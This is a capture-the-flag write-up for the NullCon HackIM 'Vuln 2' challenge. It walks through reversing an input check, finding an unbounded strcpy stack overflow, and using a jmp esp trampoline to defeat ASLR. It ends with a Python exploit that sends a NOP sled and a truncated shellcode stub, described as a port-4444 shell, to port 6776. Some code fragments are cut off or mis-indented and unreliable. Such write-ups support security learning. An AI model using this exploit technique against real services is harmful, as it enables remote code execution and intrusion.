NullCon Vuln 2 Stack Based Buffer Overflow

Exploitation 200 HackIM


This challenge gave us a binary called srv2. Running file on the binary we are shown

File analysis
File analysis

CheckSec  revealed there was no NX but we assumed ASLR was enabled on the challenge server. From there we started the binary up and connect to it on localhost port 6776. I am greeted with a screen asking for input and putting in arbitrary values yields the output “invalid”.

File response
File response

Next I start-up my favorite disassembler, Hopper, and take a look to see what is causing this “invalid”. Checking strings we are able to see where “invalid” is cross referenced and are able to trace back into the main function.

Disassembly of comparison
Disassembly of comparison

As can be seen above there is a call to strchr and a compare of the returned value. A quick man search shows the strchr  function returns a pointer to the first occurrence of the character ‘c’ in the string ’s’. Knowing this I wired a brute forcer to brute force printable characters and check output to see when information was recorded. The brute force code is shown below.

def gen_passwords(lst = None):
USE: for i in gen_passwords(): Generates a brute force
list of all chars between decimal 30
and 123 also can take a pre made list
if lst == None:
    lst = []
    for i in range (30, 123):

    for i in range(10):
        for K in itertools.product(lst, repeat=i):
            yield "".join(K)
The result of this showed that appending \: to the front of a string allowed the information to be properly recorded. After the CTF static analysis of the main function revealed 0x3a, “:”, is easily seen in the disassembled function and no brute forcing was necessary.  Next was to see where the potential vulnerable area was. ## Recon
Buffer Overflow
Buffer Overflow

As can be seen there is an unbounded strcpy leading to a vanilla buffer overflow. The only thing left was to prepare the exploit. We calculated the size needed to overflow the return address to be 277.  If we analyze the stack after returning to an invalid address we can see esp is pointing to data we control.

Overloaded Stack
Corrupted Stack.


Doing a quick look through with object dump reveals a wonderful instruction called “jmp esp”

Jmp Esp

Since before we are able to control the value at ESP, we can simply put the address of this gadget as our return address and direct execution to shellcode on the stack. A gadget like this is known as a trampoline and is further explained in Bypassing Memory Protections: The Future of Exploitation. This allows us to bypass ASLR by not needing to know where in memory our shell code is but simply use a relative jump to a known register. Below is the final code for this exploit using a connect back shell code binding to port 4444.

from isis import *
from struct import pack

bind_4444 =(  "\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"

load = "\"\":"
load = "\"\":"
load += ("A" *20 + "B" * 20 + "C" * 20 +
"D" * 20 + "E" * 20 + "F" * 20 +
"0000111122223333444455556666777788889999" +

jmp_esp=0x08048817 #: jmp esp
load += pack("I", jmp_esp)

load += pack("I", 0x90909090) * 200
shellcode = bind_4444
load += shellcode

#s = get_socket(('', 6776))
s = get_socket(('LOCALHOST', 6776))

s.send(load + "\n")